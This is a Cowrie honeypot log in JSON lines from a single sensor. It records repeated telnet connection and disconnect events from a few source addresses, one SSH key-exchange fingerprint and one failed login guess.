{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:59.668072Z","src_ip":"80.94.92.184","session":"d7a8291427a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59438,"dst_ip":"159.203.135.109","dst_port":23,"session":"0431f599b587","protocol":"telnet","message":"New connection: 81.30.157.18:59438 (159.203.135.109:23) [session: 0431f599b587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:59.839360Z"}
{"eventid":"cowrie.session.closed","duration":31.12181067466736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:00.129745Z","src_ip":"147.135.136.77","session":"4e5d1805ac39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38286,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fb0f62de959","protocol":"telnet","message":"New connection: 147.135.136.77:38286 (159.203.135.109:23) [session: 9fb0f62de959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:00.204414Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567","message":"login attempt [solv/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:00.417689Z","src_ip":"80.94.92.184","session":"d7a8291427a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38328,"dst_ip":"159.203.135.109","dst_port":23,"session":"61e4a93d36b1","protocol":"telnet","message":"New connection: 147.135.136.77:38328 (159.203.135.109:23) [session: 61e4a93d36b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:00.854563Z"}
{"eventid":"cowrie.session.closed","duration":30.963391304016113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:01.044224Z","src_ip":"147.135.136.77","session":"9102c46b85ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.006274461746216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:01.048662Z","src_ip":"51.79.21.139","session":"aa0bcd3c2428","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065303802490234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:01.069906Z","src_ip":"37.187.24.227","session":"3c1d2cdcc12f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47544,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9700425a48f","protocol":"telnet","message":"New connection: 51.79.21.139:47544 (159.203.135.109:23) [session: b9700425a48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:01.093373Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38300,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bf42a70c8dc","protocol":"telnet","message":"New connection: 147.135.136.77:38300 (159.203.135.109:23) [session: 8bf42a70c8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:01.232594Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38316,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d229f9968b6","protocol":"telnet","message":"New connection: 147.135.136.77:38316 (159.203.135.109:23) [session: 5d229f9968b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:01.418486Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59454,"dst_ip":"159.203.135.109","dst_port":23,"session":"0296c9f454d0","protocol":"telnet","message":"New connection: 81.30.157.18:59454 (159.203.135.109:23) [session: 0296c9f454d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:01.473341Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:01.641268Z","src_ip":"80.94.92.184","session":"d7a8291427a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44378,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc2b825bf585","protocol":"telnet","message":"New connection: 168.119.91.149:44378 (159.203.135.109:23) [session: bc2b825bf585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:01.888016Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38342,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eaf31f36daa","protocol":"telnet","message":"New connection: 147.135.136.77:38342 (159.203.135.109:23) [session: 2eaf31f36daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:01.916520Z"}
{"eventid":"cowrie.session.closed","duration":31.11568856239319,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:02.024216Z","src_ip":"147.135.136.77","session":"7a97649f12da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47550,"dst_ip":"159.203.135.109","dst_port":23,"session":"915a05bb121e","protocol":"telnet","message":"New connection: 51.79.21.139:47550 (159.203.135.109:23) [session: 915a05bb121e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:02.075935Z"}
{"eventid":"cowrie.session.closed","duration":30.92801523208618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:02.080529Z","src_ip":"37.187.24.227","session":"37118cc716dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47564,"dst_ip":"159.203.135.109","dst_port":23,"session":"df973e7fdfec","protocol":"telnet","message":"New connection: 51.79.21.139:47564 (159.203.135.109:23) [session: df973e7fdfec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:02.122146Z"}
{"eventid":"cowrie.session.closed","duration":30.859914541244507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:02.125983Z","src_ip":"147.135.136.77","session":"2524a98a0e60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.813517570495605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:02.132560Z","src_ip":"147.135.136.77","session":"a1ee7c49fa7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44380,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ebf9a38fd7f","protocol":"telnet","message":"New connection: 168.119.91.149:44380 (159.203.135.109:23) [session: 5ebf9a38fd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:02.166841Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38358,"dst_ip":"159.203.135.109","dst_port":23,"session":"13c93c6a74a6","protocol":"telnet","message":"New connection: 147.135.136.77:38358 (159.203.135.109:23) [session: 13c93c6a74a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:02.232881Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38338,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0dbfdd45890","protocol":"telnet","message":"New connection: 147.135.136.77:38338 (159.203.135.109:23) [session: d0dbfdd45890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:02.245375Z"}
{"eventid":"cowrie.session.closed","duration":31.164780616760254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:02.300793Z","src_ip":"51.79.21.139","session":"133beec867c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38366,"dst_ip":"159.203.135.109","dst_port":23,"session":"aae8bb6519a6","protocol":"telnet","message":"New connection: 147.135.136.77:38366 (159.203.135.109:23) [session: aae8bb6519a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:02.447919Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38374,"dst_ip":"159.203.135.109","dst_port":23,"session":"26f90f26eaf3","protocol":"telnet","message":"New connection: 147.135.136.77:38374 (159.203.135.109:23) [session: 26f90f26eaf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:02.496634Z"}
{"eventid":"cowrie.session.closed","duration":30.4265353679657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:03.044391Z","src_ip":"147.135.136.77","session":"db18d1c56d78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68307089805603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:03.066685Z","src_ip":"147.135.136.77","session":"7328ee861a8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43776,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcce1c2f5b3c","protocol":"telnet","message":"New connection: 51.79.21.139:43776 (159.203.135.109:23) [session: bcce1c2f5b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:03.177159Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":50472,"dst_ip":"159.203.135.109","dst_port":23,"session":"d84abdb3375d","protocol":"telnet","message":"New connection: 37.187.24.227:50472 (159.203.135.109:23) [session: d84abdb3375d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:03.256330Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44390,"dst_ip":"159.203.135.109","dst_port":23,"session":"ece4f68f33ff","protocol":"telnet","message":"New connection: 168.119.91.149:44390 (159.203.135.109:23) [session: ece4f68f33ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:03.968962Z"}
{"eventid":"cowrie.session.closed","duration":30.408628702163696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:04.044721Z","src_ip":"147.135.136.77","session":"b5e152304f2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.020545482635498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:04.057123Z","src_ip":"147.135.136.77","session":"567cc420fbb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.160868644714355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:04.077566Z","src_ip":"51.79.21.139","session":"e45e3fea4dda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43778,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b2f7668efa","protocol":"telnet","message":"New connection: 51.79.21.139:43778 (159.203.135.109:23) [session: d3b2f7668efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:04.433594Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34814,"dst_ip":"159.203.135.109","dst_port":23,"session":"45cdaea306c8","protocol":"telnet","message":"New connection: 81.30.157.18:34814 (159.203.135.109:23) [session: 45cdaea306c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:04.668897Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44400,"dst_ip":"159.203.135.109","dst_port":23,"session":"5920e0ab76a7","protocol":"telnet","message":"New connection: 168.119.91.149:44400 (159.203.135.109:23) [session: 5920e0ab76a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:04.721670Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38378,"dst_ip":"159.203.135.109","dst_port":23,"session":"8582757c1636","protocol":"telnet","message":"New connection: 147.135.136.77:38378 (159.203.135.109:23) [session: 8582757c1636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:04.839696Z"}
{"eventid":"cowrie.session.closed","duration":30.949626922607422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:05.029711Z","src_ip":"51.79.21.139","session":"f5f5ce54ce81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993961572647095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:05.035342Z","src_ip":"51.79.21.139","session":"5fd059884959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34818,"dst_ip":"159.203.135.109","dst_port":23,"session":"70c13edf88c8","protocol":"telnet","message":"New connection: 81.30.157.18:34818 (159.203.135.109:23) [session: 70c13edf88c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:05.284558Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38394,"dst_ip":"159.203.135.109","dst_port":23,"session":"5697bca8ab7b","protocol":"telnet","message":"New connection: 147.135.136.77:38394 (159.203.135.109:23) [session: 5697bca8ab7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:05.324316Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":55000,"dst_ip":"159.203.135.109","dst_port":23,"session":"32c058f6fe7f","protocol":"telnet","message":"New connection: 37.187.24.227:55000 (159.203.135.109:23) [session: 32c058f6fe7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:05.432983Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38414,"dst_ip":"159.203.135.109","dst_port":23,"session":"addda8fc6c83","protocol":"telnet","message":"New connection: 147.135.136.77:38414 (159.203.135.109:23) [session: addda8fc6c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:05.592190Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44404,"dst_ip":"159.203.135.109","dst_port":23,"session":"284c8d9b5a1f","protocol":"telnet","message":"New connection: 168.119.91.149:44404 (159.203.135.109:23) [session: 284c8d9b5a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:05.683937Z"}
{"eventid":"cowrie.session.closed","duration":30.957343101501465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:06.064377Z","src_ip":"147.135.136.77","session":"9da6094cda0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.798402786254883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:06.069524Z","src_ip":"147.135.136.77","session":"23c054be1b0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4257652759552,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:06.082149Z","src_ip":"147.135.136.77","session":"b071bcf89905","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50070881843567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:06.167873Z","src_ip":"85.208.100.77","session":"b9d4255a8a86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.561458587646484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:06.174994Z","src_ip":"147.135.136.77","session":"b5a990b170cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43790,"dst_ip":"159.203.135.109","dst_port":23,"session":"0671fd4c1dd3","protocol":"telnet","message":"New connection: 51.79.21.139:43790 (159.203.135.109:23) [session: 0671fd4c1dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:06.202523Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":56622,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c59abcde52f","protocol":"telnet","message":"New connection: 37.187.24.227:56622 (159.203.135.109:23) [session: 9c59abcde52f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:06.263375Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":38398,"dst_ip":"159.203.135.109","dst_port":23,"session":"463009c4e373","protocol":"telnet","message":"New connection: 147.135.136.77:38398 (159.203.135.109:23) [session: 463009c4e373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:06.401743Z"}
{"eventid":"cowrie.session.closed","duration":30.859416007995605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:06.548068Z","src_ip":"168.119.91.149","session":"0c6533069126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43804,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7d8d99074e9","protocol":"telnet","message":"New connection: 51.79.21.139:43804 (159.203.135.109:23) [session: b7d8d99074e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:06.669393Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59486,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a581dbdde07","protocol":"telnet","message":"New connection: 147.135.136.77:59486 (159.203.135.109:23) [session: 4a581dbdde07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:06.782074Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59492,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f137344e52f","protocol":"telnet","message":"New connection: 147.135.136.77:59492 (159.203.135.109:23) [session: 0f137344e52f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:06.903184Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":58420,"dst_ip":"159.203.135.109","dst_port":23,"session":"5074855983e8","protocol":"telnet","message":"New connection: 37.187.24.227:58420 (159.203.135.109:23) [session: 5074855983e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:07.198929Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":58658,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9b328146577","protocol":"telnet","message":"New connection: 37.187.24.227:58658 (159.203.135.109:23) [session: a9b328146577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:07.328058Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43808,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ed759649e94","protocol":"telnet","message":"New connection: 51.79.21.139:43808 (159.203.135.109:23) [session: 1ed759649e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:07.386274Z"}
{"eventid":"cowrie.session.closed","duration":30.788069009780884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:07.431183Z","src_ip":"147.135.136.77","session":"e680564bf674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.775697946548462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:07.505460Z","src_ip":"168.119.91.149","session":"b551bed049fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59504,"dst_ip":"159.203.135.109","dst_port":23,"session":"70d450ab2071","protocol":"telnet","message":"New connection: 147.135.136.77:59504 (159.203.135.109:23) [session: 70d450ab2071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:07.999638Z"}
{"eventid":"cowrie.session.closed","duration":30.749566078186035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:08.050764Z","src_ip":"37.187.24.227","session":"ff4cab26d29c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.732475757598877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:08.056801Z","src_ip":"147.135.136.77","session":"6225dbf56e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21633505821228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:08.083623Z","src_ip":"147.135.136.77","session":"fedb3bc38a81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942373991012573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:08.134254Z","src_ip":"147.135.136.77","session":"7f2523799201","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59510,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac9b8df8b865","protocol":"telnet","message":"New connection: 147.135.136.77:59510 (159.203.135.109:23) [session: ac9b8df8b865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:08.165994Z"}
{"eventid":"cowrie.session.closed","duration":30.84838032722473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:08.530523Z","src_ip":"168.119.91.149","session":"aa9d5cefb3c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43814,"dst_ip":"159.203.135.109","dst_port":23,"session":"06628a30d914","protocol":"telnet","message":"New connection: 51.79.21.139:43814 (159.203.135.109:23) [session: 06628a30d914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:08.672725Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44412,"dst_ip":"159.203.135.109","dst_port":23,"session":"30b412fb7d28","protocol":"telnet","message":"New connection: 168.119.91.149:44412 (159.203.135.109:23) [session: 30b412fb7d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:08.686733Z"}
{"eventid":"cowrie.session.closed","duration":30.811427354812622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:09.046960Z","src_ip":"147.135.136.77","session":"065256b23926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":43816,"dst_ip":"159.203.135.109","dst_port":23,"session":"be6b51a97b1e","protocol":"telnet","message":"New connection: 51.79.21.139:43816 (159.203.135.109:23) [session: be6b51a97b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:09.100441Z"}
